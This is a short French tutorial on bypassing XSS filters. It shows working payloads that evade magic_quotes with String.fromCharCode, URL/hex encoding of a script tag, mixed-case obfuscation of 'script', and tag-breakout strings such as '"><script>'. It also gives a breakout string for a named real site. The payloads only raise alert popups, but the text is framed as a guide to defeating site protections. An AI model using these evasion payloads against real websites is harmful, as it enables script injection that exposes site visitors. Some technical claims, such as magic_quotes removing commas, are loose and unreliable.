Le bypass



Il y a diverses manières de bypasser les filtrages , un filtrage c'est un "bout" de code appliqué sur un site web pour le sécuriser contre l'xss , notre but est de mettre hors course le "bout" de code .

1 - Le bypass si le "magic_quote_gpc" est activé :
Le magic_quote_gpc sert à supprimer toute les virgules, les apostrophes et les slash ; de votre injection , ce qui causera la destruction de votre code injecté , pour bypasser il suffit d'utiliser :
String.fromCharCode()

Maintenant convertissez ce que vous voulez en ASCII et mettez le entre () et utiliser la n'importe ou , exemple pour une popup shadow , ça nous donnera :
<script>alert(String.fromCharCode(115,104,97,100,111,119))</script>


2 - Cryptage avec du HEX :
C'est une technique vraiment trop simple , vous devez juste convertir votre script en hex et l'injecter comme d'habitude ,

Exemple d'un script convertit en hex :
<script>alert(/shadow/);</script>


3C%73%63%72%69%70%74%3E%26%23%39%37%3B%26%23%31%30%38%3B%26%23%31%30%31%3B%26%2​3%31%31%34%3B%26%23%31%31%36%3B%26%23%34%30%3B%26%23%34%37%3B%26%23%31%31%35%3B%​26%23%31%30%34%3B%26%23%39%37%3B%26%23%31%30%30%3B%26%23%31%31%31%3B%26%23%31%31​%39%3B%26%23%34%37%3B%26%23%34%31%3B%26%23%35%39%3B%3C%2F%73%63%72%69%70%74%3E


3 - L'obfuscation :
C'est très utile quand le développeur interdit des mot comme : "alert" , "script" , il l'interdit en tant que mot , donc nous n'avons qu'à changer la forme du mot , c'est très marrant . :
exemple : ScRiPt , SCRipt ,scrIPT....etc
<script>alert("ShDoW")</script>


4- Le trying around :
Cette technique s'utilise dans un moteur de recherche dans la plupart du temps , elle sert a fermer le tag précédant (celui qui est utilisé) et ainsi de demander un nouveau tag (script) .
Exemple :
"><script>alert("shadow")</script>

Cela dépend des tags utilisé , tiens par exemple , pour yubnub.org , le trying around est : man cmd "'>"'> .
le résultat final est :
man cmd "'>"'><script>alert("shadow")</script>